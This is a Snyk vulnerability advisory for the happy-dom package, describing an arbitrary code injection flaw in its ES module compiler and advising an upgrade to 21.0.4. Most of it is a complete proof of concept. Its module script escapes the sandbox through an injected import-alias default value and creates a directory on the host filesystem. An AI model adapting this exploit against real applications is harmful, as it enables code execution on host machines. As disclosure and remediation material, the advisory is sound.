Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Injection vulnerabilities in an interactive lesson.
Start learningUpgrade org.webjars.npm:happy-dom to version 21.0.4 or higher.
org.webjars.npm:happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the ESM compiler (ECMAScriptModuleCompiler.ts), which fails to validate import alias default-value expressions in ES module source text before passing them to an evaluator. An attacker who can cause a page to load a module script containing an import binding with an injected default-value expression (e.g. import { missing as x = <arbitrary JS> } from '...') can achieve arbitrary code execution on the host Node.js process, including access to the filesystem through process.getBuiltinModule.
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
package.json{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
{}
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
node poc.mjs
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
Note: The PoC targets happy-dom 20.14.5 and was verified inside a node:24-alpine Docker container.